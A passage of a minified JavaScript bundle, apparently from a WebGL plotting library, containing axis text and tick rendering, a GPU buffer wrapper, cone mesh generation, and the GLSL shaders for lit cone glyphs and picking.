}`]);g.bg=function(b){return f(b,y,c,null,[{name:"position",type:"vec3"},{name:"normal",type:"vec3"}])}},9557:function(d,g,t){d.exports=v;var r=t(5827),f=t(2944),a=t(875),l=t(1943).f,u=window||M.global||{},s=u.__TEXT_CACHE||{};u.__TEXT_CACHE={};var y=3;function c(T,w,E,p){this.gl=T,this.shader=w,this.buffer=E,this.vao=p,this.tickOffset=this.tickCount=this.labelOffset=this.labelCount=null}var b=c.prototype,h=[0,0];b.bind=function(T,w,E,p){this.vao.bind(),this.shader.bind();var A=this.shader.uniforms;A.model=T,A.view=w,A.projection=E,A.pixelScale=p,h[0]=this.gl.drawingBufferWidth,h[1]=this.gl.drawingBufferHeight,this.shader.uniforms.resolution=h},b.unbind=function(){this.vao.unbind()},b.update=function(T,w,E,p,A){var m=[];function n(z,N,G,J,q,ne){var fe=s[G];fe||(fe=s[G]={});var X=fe[N];X||(X=fe[N]=i(N,{triangles:!0,font:G,textAlign:"center",textBaseline:"middle",lineSpacing:q,styletags:ne}));for(var W=(J||12)/12,V=X.positions,Y=X.cells,Q=0,ie=Y.length;Q<ie;++Q)for(var j=Y[Q],K=2;K>=0;--K){var oe=V[j[K]];m.push(W*oe[0],-W*oe[1],z)}}for(var C=[0,0,0],x=[0,0,0],I=[0,0,0],k=[0,0,0],B=1.25,_={breaklines:!0,bolds:!0,italics:!0,subscripts:!0,superscripts:!0},F=0;F<3;++F){I[F]=m.length/y|0,n(.5*(T[0][F]+T[1][F]),w[F],E[F],12,B,_),k[F]=(m.length/y|0)-I[F],C[F]=m.length/y|0;for(var O=0;O<p[F].length;++O)p[F][O].text&&n(p[F][O].x,p[F][O].text,p[F][O].font||A,p[F][O].fontSize||12,B,_);x[F]=(m.length/y|0)-C[F]}this.buffer.update(m),this.tickOffset=C,this.tickCount=x,this.labelOffset=I,this.labelCount=k},b.drawTicks=function(T,w,E,p,A,m,n,C){this.tickCount[T]&&(this.shader.uniforms.axis=m,this.shader.uniforms.color=A,this.shader.uniforms.angle=E,this.shader.uniforms.scale=w,this.shader.uniforms.offset=p,this.shader.uniforms.alignDir=n,this.shader.uniforms.alignOpt=C,this.vao.draw(this.gl.TRIANGLES,this.tickCount[T],this.tickOffset[T]))},b.drawLabel=function(T,w,E,p,A,m,n,C){this.labelCount[T]&&(this.shader.uniforms.axis=m,this.shader.uniforms.color=A,this.shader.uniforms.angle=E,this.shader.uniforms.scale=w,this.shader.uniforms.offset=p,this.shader.uniforms.alignDir=n,this.shader.uniforms.alignOpt=C,this.vao.draw(this.gl.TRIANGLES,this.labelCount[T],this.labelOffset[T]))},b.dispose=function(){this.shader.dispose(),this.vao.dispose(),this.buffer.dispose()};function i(T,w){try{return a(T,w)}catch(E){return console.warn('error vectorizing text:"'+T+'" error:',E),{cells:[],positions:[]}}}function v(T,w,E,p,A,m){var n=r(T),C=f(T,[{buffer:n,size:3}]),x=l(T);x.attributes.position.location=0;var I=new c(T,x,n,C);return I.update(w,E,p,A,m),I}},8468:function(d,g){g.create=r,g.equal=f;function t(a,l){var u=a+"",s=u.indexOf("."),y=0;s>=0&&(y=u.length-s-1);var c=Math.pow(10,y),b=Math.round(a*l*c),h=b+"";if(h.indexOf("e")>=0)return h;var i=b/c,v=b%c;b<0?(i=-Math.ceil(i)|0,v=-v|0):(i=Math.floor(i)|0,v=v|0);var T=""+i;if(b<0&&(T="-"+T),y){for(var w=""+v;w.length<y;)w="0"+w;return T+"."+w}else return T}function r(a,l){for(var u=[],s=0;s<3;++s){var y=[];.5*(a[0][s]+a[1][s]);for(var c=0;c*l[s]<=a[1][s];++c)y.push({x:c*l[s],text:t(l[s],c)});for(var c=-1;c*l[s]>=a[0][s];--c)y.push({x:c*l[s],text:t(l[s],c)});u.push(y)}return u}function f(a,l){for(var u=0;u<3;++u){if(a[u].length!==l[u].length)return!1;for(var s=0;s<a[u].length;++s){var y=a[u][s],c=l[u][s];if(y.x!==c.x||y.text!==c.text||y.font!==c.font||y.fontColor!==c.fontColor||y.fontSize!==c.fontSize||y.dx!==c.dx||y.dy!==c.dy)return!1}}return!0}},2771:function(d,g,t){d.exports=E;var r=t(5795),f=t(4670),a=t(2864),l=t(104),u=t(2142),s=t(6342),y=new Float32Array([1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1]),c=new Float32Array(16);function b(p,A,m){this.lo=p,this.hi=A,this.pixelsPerDataUnit=m}var h=[0,0,0,1],i=[0,0,0,1];function v(p,A,m,n,C){for(var x=0;x<3;++x){for(var I=h,k=i,B=0;B<3;++B)k[B]=I[B]=m[B];k[3]=I[3]=1,k[x]+=1,s(k,k,A),k[3]<0&&(p[x]=1/0),I[x]-=1,s(I,I,A),I[3]<0&&(p[x]=1/0);var _=(I[0]/I[3]-k[0]/k[3])*n,F=(I[1]/I[3]-k[1]/k[3])*C;p[x]=.25*Math.sqrt(_*_+F*F)}return p}var T=[new b(1/0,-1/0,1/0),new b(1/0,-1/0,1/0),new b(1/0,-1/0,1/0)],w=[0,0,0];function E(p,A,m,n,F){var x=A.model||y,I=A.view||y,k=A.projection||y,B=A._ortho||!1,_=p.bounds,F=F||a(x,I,k,_,B),O=F.axis;l(c,I,x),l(c,k,c);for(var z=T,N=0;N<3;++N)z[N].lo=1/0,z[N].hi=-1/0,z[N].pixelsPerDataUnit=1/0;var G=r(u(c,c));u(c,c);for(var J=0;J<3;++J){var q=(J+1)%3,ne=(J+2)%3,fe=w;e:for(var N=0;N<2;++N){var X=[];if(O[J]<0!=!!N){fe[J]=_[N][J];for(var W=0;W<2;++W){fe[q]=_[W^N][q];for(var V=0;V<2;++V)fe[ne]=_[V^W^N][ne],X.push(fe.slice())}for(var Y=B?5:4,W=Y;W===Y;++W){if(X.length===0)continue e;X=f.positive(X,G[W])}for(var W=0;W<X.length;++W)for(var ne=X[W],Q=v(w,c,ne,m,n),V=0;V<3;++V)z[V].lo=Math.min(z[V].lo,ne[V]),z[V].hi=Math.max(z[V].hi,ne[V]),V!==J&&(z[V].pixelsPerDataUnit=Math.min(z[V].pixelsPerDataUnit,Math.abs(Q[V])))}}}return z}},5827:function(d,g,t){var r=t(5306),f=t(7498),a=t(5050),l=["uint8","uint8_clamped","uint16","uint32","int8","int16","int32","float32"];function u(i,v,T,w,E){this.gl=i,this.type=v,this.handle=T,this.length=w,this.usage=E}var s=u.prototype;s.bind=function(){this.gl.bindBuffer(this.type,this.handle)},s.unbind=function(){this.gl.bindBuffer(this.type,null)},s.dispose=function(){this.gl.deleteBuffer(this.handle)};function y(i,v,T,w,E,p){var A=E.length*E.BYTES_PER_ELEMENT;if(p<0)return i.bufferData(v,E,w),A;if(A+p>T)throw new Error("gl-buffer: If resizing buffer, must not specify offset");return i.bufferSubData(v,p,E),T}function c(i,v){for(var T=r.malloc(i.length,v),w=i.length,E=0;E<w;++E)T[E]=i[E];return T}function b(i,v){for(var T=1,w=v.length-1;w>=0;--w){if(v[w]!==T)return!1;T*=i[w]}return!0}s.update=function(i,v){if(typeof v!="number"&&(v=-1),this.bind(),typeof i=="object"&&typeof i.shape<"u"){var T=i.dtype;if(l.indexOf(T)<0&&(T="float32"),this.type===this.gl.ELEMENT_ARRAY_BUFFER){var w=gl.getExtension("OES_element_index_uint");w&&T!=="uint16"?T="uint32":T="uint16"}if(T===i.dtype&&b(i.shape,i.stride))i.offset===0&&i.data.length===i.shape[0]?this.length=y(this.gl,this.type,this.length,this.usage,i.data,v):this.length=y(this.gl,this.type,this.length,this.usage,i.data.subarray(i.offset,i.shape[0]),v);else{var E=r.malloc(i.size,T),p=a(E,i.shape);f.assign(p,i),v<0?this.length=y(this.gl,this.type,this.length,this.usage,E,v):this.length=y(this.gl,this.type,this.length,this.usage,E.subarray(0,i.size),v),r.free(E)}}else if(Array.isArray(i)){var A;this.type===this.gl.ELEMENT_ARRAY_BUFFER?A=c(i,"uint16"):A=c(i,"float32"),v<0?this.length=y(this.gl,this.type,this.length,this.usage,A,v):this.length=y(this.gl,this.type,this.length,this.usage,A.subarray(0,i.length),v),r.free(A)}else if(typeof i=="object"&&typeof i.length=="number")this.length=y(this.gl,this.type,this.length,this.usage,i,v);else if(typeof i=="number"||i===void 0){if(v>=0)throw new Error("gl-buffer: Cannot specify offset when resizing buffer");i=i|0,i<=0&&(i=1),this.gl.bufferData(this.type,i|0,this.usage),this.length=i}else throw new Error("gl-buffer: Invalid data type")};function h(i,v,T,w){if(T=T||i.ARRAY_BUFFER,w=w||i.DYNAMIC_DRAW,T!==i.ARRAY_BUFFER&&T!==i.ELEMENT_ARRAY_BUFFER)throw new Error("gl-buffer: Invalid type for webgl buffer, must be either gl.ARRAY_BUFFER or gl.ELEMENT_ARRAY_BUFFER");if(w!==i.DYNAMIC_DRAW&&w!==i.STATIC_DRAW&&w!==i.STREAM_DRAW)throw new Error("gl-buffer: Invalid usage for buffer, must be either gl.DYNAMIC_DRAW, gl.STATIC_DRAW or gl.STREAM_DRAW");var E=i.createBuffer(),p=new u(i,T,E,0,w);return p.update(v),p}d.exports=h},1140:function(d,g,t){var r=t(2858);d.exports=function(a,l){var u=a.positions,s=a.vectors,y={positions:[],vertexIntensity:[],vertexIntensityBounds:a.vertexIntensityBounds,vectors:[],cells:[],coneOffset:a.coneOffset,colormap:a.colormap};if(a.positions.length===0)return l&&(l[0]=[0,0,0],l[1]=[0,0,0]),y;for(var c=0,b=1/0,h=-1/0,i=1/0,v=-1/0,T=1/0,w=-1/0,E=null,p=null,A=[],m=1/0,n=!1,C=0;C<u.length;C++){var x=u[C];b=Math.min(x[0],b),h=Math.max(x[0],h),i=Math.min(x[1],i),v=Math.max(x[1],v),T=Math.min(x[2],T),w=Math.max(x[2],w);var I=s[C];if(r.length(I)>c&&(c=r.length(I)),C){var k=2*r.distance(E,x)/(r.length(p)+r.length(I));k?(m=Math.min(m,k),n=!1):n=!0}n||(E=x,p=I),A.push(I)}var B=[b,i,T],_=[h,v,w];l&&(l[0]=B,l[1]=_),c===0&&(c=1);var F=1/c;isFinite(m)||(m=1),y.vectorScale=m;var O=a.coneSize||.5;a.absoluteConeSize&&(O=a.absoluteConeSize*F),y.coneScale=O;for(var C=0,z=0;C<u.length;C++)for(var x=u[C],N=x[0],G=x[1],J=x[2],q=A[C],ne=r.length(q)*F,fe=0,X=8;fe<X;fe++){y.positions.push([N,G,J,z++]),y.positions.push([N,G,J,z++]),y.positions.push([N,G,J,z++]),y.positions.push([N,G,J,z++]),y.positions.push([N,G,J,z++]),y.positions.push([N,G,J,z++]),y.vectors.push(q),y.vectors.push(q),y.vectors.push(q),y.vectors.push(q),y.vectors.push(q),y.vectors.push(q),y.vertexIntensity.push(ne,ne,ne),y.vertexIntensity.push(ne,ne,ne);var W=y.positions.length;y.cells.push([W-6,W-5,W-4],[W-3,W-2,W-1])}return y};var f=t(7234);d.exports.createMesh=t(5028),d.exports.createConeMesh=function(a,l){return d.exports.createMesh(a,l,{shaders:f,traceType:"cone"})}},5028:function(d,g,t){var r=t(5158),f=t(5827),a=t(2944),l=t(8931),u=t(104),s=t(7437),y=t(5050),c=t(9156),b=[1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1];function h(A,m,n,C,x,I,k,B,_,F,O){this.gl=A,this.pixelRatio=1,this.cells=[],this.positions=[],this.intensity=[],this.texture=m,this.dirty=!0,this.triShader=n,this.pickShader=C,this.trianglePositions=x,this.triangleVectors=I,this.triangleColors=B,this.triangleUVs=_,this.triangleIds=k,this.triangleVAO=F,this.triangleCount=0,this.pickId=1,this.bounds=[[1/0,1/0,1/0],[-1/0,-1/0,-1/0]],this.clipBounds=[[-1/0,-1/0,-1/0],[1/0,1/0,1/0]],this.lightPosition=[1e5,1e5,0],this.ambientLight=.8,this.diffuseLight=.8,this.specularLight=2,this.roughness=.5,this.fresnel=1.5,this.opacity=1,this.traceType=O,this.tubeScale=1,this.coneScale=2,this.vectorScale=1,this.coneOffset=.25,this._model=b,this._view=b,this._projection=b,this._resolution=[1,1]}var i=h.prototype;i.isOpaque=function(){return this.opacity>=1},i.isTransparent=function(){return this.opacity<1},i.pickSlots=1,i.setPickBase=function(A){this.pickId=A};function v(A){for(var m=c({colormap:A,nshades:256,format:"rgba"}),n=new Uint8Array(256*4),C=0;C<256;++C){for(var x=m[C],I=0;I<3;++I)n[4*C+I]=x[I];n[4*C+3]=x[3]*255}return y(n,[256,256,4],[4,0,1])}function T(A){for(var m=A.length,n=new Array(m),C=0;C<m;++C)n[C]=A[C][2];return n}i.update=function(A){A=A||{};var m=this.gl;this.dirty=!0,"lightPosition"in A&&(this.lightPosition=A.lightPosition),"opacity"in A&&(this.opacity=A.opacity),"ambient"in A&&(this.ambientLight=A.ambient),"diffuse"in A&&(this.diffuseLight=A.diffuse),"specular"in A&&(this.specularLight=A.specular),"roughness"in A&&(this.roughness=A.roughness),"fresnel"in A&&(this.fresnel=A.fresnel),A.tubeScale!==void 0&&(this.tubeScale=A.tubeScale),A.vectorScale!==void 0&&(this.vectorScale=A.vectorScale),A.coneScale!==void 0&&(this.coneScale=A.coneScale),A.coneOffset!==void 0&&(this.coneOffset=A.coneOffset),A.colormap&&(this.texture.shape=[256,256],this.texture.minFilter=m.LINEAR_MIPMAP_LINEAR,this.texture.magFilter=m.LINEAR,this.texture.setPixels(v(A.colormap)),this.texture.generateMipmap());var n=A.cells,C=A.positions,x=A.vectors;if(!(!C||!n||!x)){var I=[],k=[],B=[],_=[],F=[];this.cells=n,this.positions=C,this.vectors=x;var O=A.meshColor||[1,1,1,1],z=A.vertexIntensity,N=1/0,G=-1/0;if(z)if(A.vertexIntensityBounds)N=+A.vertexIntensityBounds[0],G=+A.vertexIntensityBounds[1];else for(var J=0;J<z.length;++J){var q=z[J];N=Math.min(N,q),G=Math.max(G,q)}else for(var J=0;J<C.length;++J){var q=C[J][2];N=Math.min(N,q),G=Math.max(G,q)}z?this.intensity=z:this.intensity=T(C),this.bounds=[[1/0,1/0,1/0],[-1/0,-1/0,-1/0]];for(var J=0;J<C.length;++J)for(var ne=C[J],fe=0;fe<3;++fe)isNaN(ne[fe])||!isFinite(ne[fe])||(this.bounds[0][fe]=Math.min(this.bounds[0][fe],ne[fe]),this.bounds[1][fe]=Math.max(this.bounds[1][fe],ne[fe]));var X=0;e:for(var J=0;J<n.length;++J){var W=n[J];switch(W.length){case 3:for(var fe=0;fe<3;++fe)for(var V=W[fe],ne=C[V],Y=0;Y<3;++Y)if(isNaN(ne[Y])||!isFinite(ne[Y]))continue e;for(var fe=0;fe<3;++fe){var V=W[2-fe],ne=C[V];I.push(ne[0],ne[1],ne[2],ne[3]);var Q=x[V];k.push(Q[0],Q[1],Q[2],Q[3]||0);var ie=O;ie.length===3?B.push(ie[0],ie[1],ie[2],1):B.push(ie[0],ie[1],ie[2],ie[3]);var j;z?j=[(z[V]-N)/(G-N),0]:j=[(ne[2]-N)/(G-N),0],_.push(j[0],j[1]),F.push(J)}X+=1;break}}this.triangleCount=X,this.trianglePositions.update(I),this.triangleVectors.update(k),this.triangleColors.update(B),this.triangleUVs.update(_),this.triangleIds.update(new Uint32Array(F))}},i.drawTransparent=i.draw=function(A){A=A||{};for(var m=this.gl,n=A.model||b,C=A.view||b,x=A.projection||b,I=[[-1e6,-1e6,-1e6],[1e6,1e6,1e6]],k=0;k<3;++k)I[0][k]=Math.max(I[0][k],this.clipBounds[0][k]),I[1][k]=Math.min(I[1][k],this.clipBounds[1][k]);var B={model:n,view:C,projection:x,inverseModel:b.slice(),clipBounds:I,kambient:this.ambientLight,kdiffuse:this.diffuseLight,kspecular:this.specularLight,roughness:this.roughness,fresnel:this.fresnel,eyePosition:[0,0,0],lightPosition:[0,0,0],opacity:this.opacity,tubeScale:this.tubeScale,vectorScale:this.vectorScale,coneScale:this.coneScale,coneOffset:this.coneOffset,texture:0};B.inverseModel=s(B.inverseModel,B.model),m.disable(m.CULL_FACE),this.texture.bind(0);var _=new Array(16);u(_,B.view,B.model),u(_,B.projection,_),s(_,_);for(var k=0;k<3;++k)B.eyePosition[k]=_[12+k]/_[15];for(var F=_[15],k=0;k<3;++k)F+=this.lightPosition[k]*_[4*k+3];for(var k=0;k<3;++k){for(var O=_[12+k],z=0;z<3;++z)O+=_[4*z+k]*this.lightPosition[z];B.lightPosition[k]=O/F}if(this.triangleCount>0){var N=this.triShader;N.bind(),N.uniforms=B,this.triangleVAO.bind(),m.drawArrays(m.TRIANGLES,0,this.triangleCount*3),this.triangleVAO.unbind()}},i.drawPick=function(A){A=A||{};for(var m=this.gl,n=A.model||b,C=A.view||b,x=A.projection||b,I=[[-1e6,-1e6,-1e6],[1e6,1e6,1e6]],k=0;k<3;++k)I[0][k]=Math.max(I[0][k],this.clipBounds[0][k]),I[1][k]=Math.min(I[1][k],this.clipBounds[1][k]);this._model=[].slice.call(n),this._view=[].slice.call(C),this._projection=[].slice.call(x),this._resolution=[m.drawingBufferWidth,m.drawingBufferHeight];var B={model:n,view:C,projection:x,clipBounds:I,tubeScale:this.tubeScale,vectorScale:this.vectorScale,coneScale:this.coneScale,coneOffset:this.coneOffset,pickId:this.pickId/255},_=this.pickShader;_.bind(),_.uniforms=B,this.triangleCount>0&&(this.triangleVAO.bind(),m.drawArrays(m.TRIANGLES,0,this.triangleCount*3),this.triangleVAO.unbind())},i.pick=function(A){if(!A||A.id!==this.pickId)return null;var m=A.value[0]+256*A.value[1]+65536*A.value[2],n=this.cells[m],C=this.positions[n[1]].slice(0,3),x={position:C,dataCoordinate:C,index:Math.floor(n[1]/48)};return this.traceType==="cone"?x.index=Math.floor(n[1]/48):this.traceType==="streamtube"&&(x.intensity=this.intensity[n[1]],x.velocity=this.vectors[n[1]].slice(0,3),x.divergence=this.vectors[n[1]][3],x.index=m),x},i.dispose=function(){this.texture.dispose(),this.triShader.dispose(),this.pickShader.dispose(),this.triangleVAO.dispose(),this.trianglePositions.dispose(),this.triangleVectors.dispose(),this.triangleColors.dispose(),this.triangleUVs.dispose(),this.triangleIds.dispose()};function w(A,m){var n=r(A,m.meshShader.vertex,m.meshShader.fragment,null,m.meshShader.attributes);return n.attributes.position.location=0,n.attributes.color.location=2,n.attributes.uv.location=3,n.attributes.vector.location=4,n}function E(A,m){var n=r(A,m.pickShader.vertex,m.pickShader.fragment,null,m.pickShader.attributes);return n.attributes.position.location=0,n.attributes.id.location=1,n.attributes.vector.location=4,n}function p(A,m,n){var C=n.shaders;arguments.length===1&&(m=A,A=m.gl);var x=w(A,C),I=E(A,C),k=l(A,y(new Uint8Array([255,255,255,255]),[1,1,4]));k.generateMipmap(),k.minFilter=A.LINEAR_MIPMAP_LINEAR,k.magFilter=A.LINEAR;var B=f(A),_=f(A),F=f(A),O=f(A),z=f(A),N=a(A,[{buffer:B,type:A.FLOAT,size:4},{buffer:z,type:A.UNSIGNED_BYTE,size:4,normalized:!0},{buffer:F,type:A.FLOAT,size:4},{buffer:O,type:A.FLOAT,size:2},{buffer:_,type:A.FLOAT,size:4}]),G=new h(A,k,x,I,B,_,z,F,O,N,n.traceType||"cone");return G.update(m),G}d.exports=p},7234:function(d,g,t){var r=t(6832),f=r([`precision highp float;

precision highp float;
#define GLSLIFY 1

vec3 getOrthogonalVector(vec3 v) {
  // Return up-vector for only-z vector.
  // Return ax + by + cz = 0, a point that lies on the plane that has v as a normal and that isn't (0,0,0).
  // From the above if-statement we have ||a|| > 0  U  ||b|| > 0.
  // Assign z = 0, x = -b, y = a:
  // a*-b + b*a + c*0 = -ba + ba + 0 = 0
  if (v.x*v.x > v.z*v.z || v.y*v.y > v.z*v.z) {
    return normalize(vec3(-v.y, v.x, 0.0));
  } else {
    return normalize(vec3(0.0, v.z, -v.y));
  }
}

// Calculate the cone vertex and normal at the given index.
//
// The returned vertex is for a cone with its top at origin and height of 1.0,
// pointing in the direction of the vector attribute.
//
// Each cone is made up of a top vertex, a center base vertex and base perimeter vertices.
// These vertices are used to make up the triangles of the cone by the following:
//   segment + 0 top vertex
//   segment + 1 perimeter vertex a+1
//   segment + 2 perimeter vertex a
//   segment + 3 center base vertex
//   segment + 4 perimeter vertex a
//   segment + 5 perimeter vertex a+1
// Where segment is the number of the radial segment * 6 and a is the angle at that radial segment.
// To go from index to segment, floor(index / 6)
// To go from segment to angle, 2*pi * (segment/segmentCount)
// To go from index to segment index, index - (segment*6)
//
vec3 getConePosition(vec3 d, float rawIndex, float coneOffset, out vec3 normal) {

  const float segmentCount = 8.0;

  float index = rawIndex - floor(rawIndex /
    (segmentCount * 6.0)) *
    (segmentCount * 6.0);

  float segment = floor(0.001 + index/6.0);
  float segmentIndex = index - (segment*6.0);

  normal = -normalize(d);

  if (segmentIndex > 2.99 && segmentIndex < 3.01) {
    return mix(vec3(0.0), -d, coneOffset);
  }

  float nextAngle = (
    (segmentIndex > 0.99 &&  segmentIndex < 1.01) ||
    (segmentIndex > 4.99 &&  segmentIndex < 5.01)
  ) ? 1.0 : 0.0;
  float angle = 2.0 * 3.14159 * ((segment + nextAngle) / segmentCount);

  vec3 v1 = mix(d, vec3(0.0), coneOffset);
  vec3 v2 = v1 - d;

  vec3 u = getOrthogonalVector(d);
  vec3 v = normalize(cross(u, d));

  vec3 x = u * cos(angle) * length(d)*0.25;
  vec3 y = v * sin(angle) * length(d)*0.25;
  vec3 v3 = v2 + x + y;
  if (segmentIndex < 3.0) {
    vec3 tx = u * sin(angle);
    vec3 ty = v * -cos(angle);
    vec3 tangent = tx + ty;
    normal = normalize(cross(v3 - v1, tangent));
  }

  if (segmentIndex == 0.0) {
    return mix(d, vec3(0.0), coneOffset);
  }
  return v3;
}

attribute vec3 vector;
attribute vec4 color, position;
attribute vec2 uv;

uniform float vectorScale, coneScale, coneOffset;
uniform mat4 model, view, projection, inverseModel;
uniform vec3 eyePosition, lightPosition;

varying vec3 f_normal, f_lightDirection, f_eyeDirection, f_data, f_position;
varying vec4 f_color;
varying vec2 f_uv;

void main() {
  // Scale the vector magnitude to stay constant with
  // model & view changes.
  vec3 normal;
  vec3 XYZ = getConePosition(mat3(model) * ((vectorScale * coneScale) * vector), position.w, coneOffset, normal);
  vec4 conePosition = model * vec4(position.xyz, 1.0) + vec4(XYZ, 0.0);

  //Lighting geometry parameters
  vec4 cameraCoordinate = view * conePosition;
  cameraCoordinate.xyz /= cameraCoordinate.w;
  f_lightDirection = lightPosition - cameraCoordinate.xyz;
  f_eyeDirection   = eyePosition - cameraCoordinate.xyz;
  f_normal = normalize((vec4(normal, 0.0) * inverseModel).xyz);

  // vec4 m_position  = model * vec4(conePosition, 1.0);
  vec4 t_position  = view * conePosition;
  gl_Position      = projection * t_position;

  f_color          = color;
  f_data           = conePosition.xyz;
  f_position       = position.xyz;
  f_uv             = uv;
}
`]),a=r([`#extension GL_OES_standard_derivatives : enable

precision highp float;
#define GLSLIFY 1

float beckmannDistribution(float x, float roughness) {
  float NdotH = max(x, 0.0001);
  float cos2Alpha = NdotH * NdotH;
  float tan2Alpha = (cos2Alpha - 1.0) / cos2Alpha;
  float roughness2 = roughness * roughness;
  float denom = 3.141592653589793 * roughness2 * cos2Alpha * cos2Alpha;
  return exp(tan2Alpha / roughness2) / denom;
}

float cookTorranceSpecular(
  vec3 lightDirection,
  vec3 viewDirection,
  vec3 surfaceNormal,
  float roughness,
  float fresnel) {

  float VdotN = max(dot(viewDirection, surfaceNormal), 0.0);
  float LdotN = max(dot(lightDirection, surfaceNormal), 0.0);

  //Half angle vector
  vec3 H = normalize(lightDirection + viewDirection);

  //Geometric term
  float NdotH = max(dot(surfaceNormal, H), 0.0);
  float VdotH = max(dot(viewDirection, H), 0.000001);
  float LdotH = max(dot(lightDirection, H), 0.000001);
  float G1 = (2.0 * NdotH * VdotN) / VdotH;
  float G2 = (2.0 * NdotH * LdotN) / LdotH;
  float G = min(1.0, min(G1, G2));
  
  //Distribution term
  float D = beckmannDistribution(NdotH, roughness);

  //Fresnel term
  float F = pow(1.0 - VdotN, fresnel);

  //Multiply terms and done
  return  G * F * D / max(3.14159265 * VdotN, 0.000001);
}

bool outOfRange(float a, float b, float p) {
  return ((p > max(a, b)) || 
          (p < min(a, b)));
}

bool outOfRange(vec2 a, vec2 b, vec2 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y));
}

bool outOfRange(vec3 a, vec3 b, vec3 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y) ||
          outOfRange(a.z, b.z, p.z));
}

bool outOfRange(vec4 a, vec4 b, vec4 p) {
  return outOfRange(a.xyz, b.xyz, p.xyz);
}

uniform vec3 clipBounds[2];
uniform float roughness, fresnel, kambient, kdiffuse, kspecular, opacity;
uniform sampler2D texture;

varying vec3 f_normal, f_lightDirection, f_eyeDirection, f_data, f_position;
varying vec4 f_color;
varying vec2 f_uv;

void main() {
  if (outOfRange(clipBounds[0], clipBounds[1], f_position)) discard;
  vec3 N = normalize(f_normal);
  vec3 L = normalize(f_lightDirection);
  vec3 V = normalize(f_eyeDirection);

  if(gl_FrontFacing) {
    N = -N;
  }

  float specular = min(1.0, max(0.0, cookTorranceSpecular(L, V, N, roughness, fresnel)));
  float diffuse  = min(kambient + kdiffuse * max(dot(N, L), 0.0), 1.0);

  vec4 surfaceColor = f_color * texture2D(texture, f_uv);
  vec4 litColor = surfaceColor.a * vec4(diffuse * surfaceColor.rgb + kspecular * vec3(1,1,1) * specular,  1.0);

  gl_FragColor = litColor * opacity;
}
`]),l=r([`precision highp float;

precision highp float;
#define GLSLIFY 1

vec3 getOrthogonalVector(vec3 v) {
  // Return up-vector for only-z vector.
  // Return ax + by + cz = 0, a point that lies on the plane that has v as a normal and that isn't (0,0,0).
  // From the above if-statement we have ||a|| > 0  U  ||b|| > 0.
  // Assign z = 0, x = -b, y = a:
  // a*-b + b*a + c*0 = -ba + ba + 0 = 0
  if (v.x*v.x > v.z*v.z || v.y*v.y > v.z*v.z) {
    return normalize(vec3(-v.y, v.x, 0.0));
  } else {
    return normalize(vec3(0.0, v.z, -v.y));
  }
}

// Calculate the cone vertex and normal at the given index.
//
// The returned vertex is for a cone with its top at origin and height of 1.0,
// pointing in the direction of the vector attribute.
//
// Each cone is made up of a top vertex, a center base vertex and base perimeter vertices.
// These vertices are used to make up the triangles of the cone by the following:
//   segment + 0 top vertex
//   segment + 1 perimeter vertex a+1
//   segment + 2 perimeter vertex a
//   segment + 3 center base vertex
//   segment + 4 perimeter vertex a
//   segment + 5 perimeter vertex a+1
// Where segment is the number of the radial segment * 6 and a is the angle at that radial segment.
// To go from index to segment, floor(index / 6)
// To go from segment to angle, 2*pi * (segment/segmentCount)
// To go from index to segment index, index - (segment*6)
//
vec3 getConePosition(vec3 d, float rawIndex, float coneOffset, out vec3 normal) {

  const float segmentCount = 8.0;

  float index = rawIndex - floor(rawIndex /
    (segmentCount * 6.0)) *
    (segmentCount * 6.0);

  float segment = floor(0.001 + index/6.0);
  float segmentIndex = index - (segment*6.0);

  normal = -normalize(d);

  if (segmentIndex > 2.99 && segmentIndex < 3.01) {
    return mix(vec3(0.0), -d, coneOffset);
  }

  float nextAngle = (
    (segmentIndex > 0.99 &&  segmentIndex < 1.01) ||
    (segmentIndex > 4.99 &&  segmentIndex < 5.01)
  ) ? 1.0 : 0.0;
  float angle = 2.0 * 3.14159 * ((segment + nextAngle) / segmentCount);

  vec3 v1 = mix(d, vec3(0.0), coneOffset);
  vec3 v2 = v1 - d;

  vec3 u = getOrthogonalVector(d);
  vec3 v = normalize(cross(u, d));

  vec3 x = u * cos(angle) * length(d)*0.25;
  vec3 y = v * sin(angle) * length(d)*0.25;
  vec3 v3 = v2 + x + y;
  if (segmentIndex < 3.0) {
    vec3 tx = u * sin(angle);
    vec3 ty = v * -cos(angle);
    vec3 tangent = tx + ty;
    normal = normalize(cross(v3 - v1, tangent));
  }

  if (segmentIndex == 0.0) {
    return mix(d, vec3(0.0), coneOffset);
  }
  return v3;
}

attribute vec4 vector;
attribute vec4 position;
attribute vec4 id;

uniform mat4 model, view, projection;
uniform float vectorScale, coneScale, coneOffset;

varying vec3 f_position;
varying vec4 f_id;

void main() {
  vec3 normal;
  vec3 XYZ = getConePosition(mat3(model) * ((vectorScale * coneScale) * vector.xyz), position.w, coneOffset, normal);
  vec4 conePosition = model * vec4(position.xyz, 1.0) + vec4(XYZ, 0.0);
  gl_Position = projection * view * conePosition;
  f_id        = id;
  f_position  = position.xyz;
}
`]),u=r([`precision highp float;
#define GLSLIFY 1

bool outOfRange(float a, float b, float p) {
  return ((p > max(a, b)) || 
          (p < min(a, b)));
}

bool outOfRange(vec2 a, vec2 b, vec2 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y));
}

bool outOfRange(vec3 a, vec3 b, vec3 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y) ||
          outOfRange(a.z, b.z, p.z));
}

bool outOfRange(vec4 a, vec4 b, vec4 p) {
  return outOfRange(a.xyz, b.xyz, p.xyz);
}

uniform vec3  clipBounds[2];
uniform float pickId;

varying vec3 f_position;
varying vec4 f_id;

void main() {
  if (outOfRange(clipBounds[0], clipBounds[1], f_position)) discard;

  gl_FragColor = vec4(pickId, f_id.xyz);
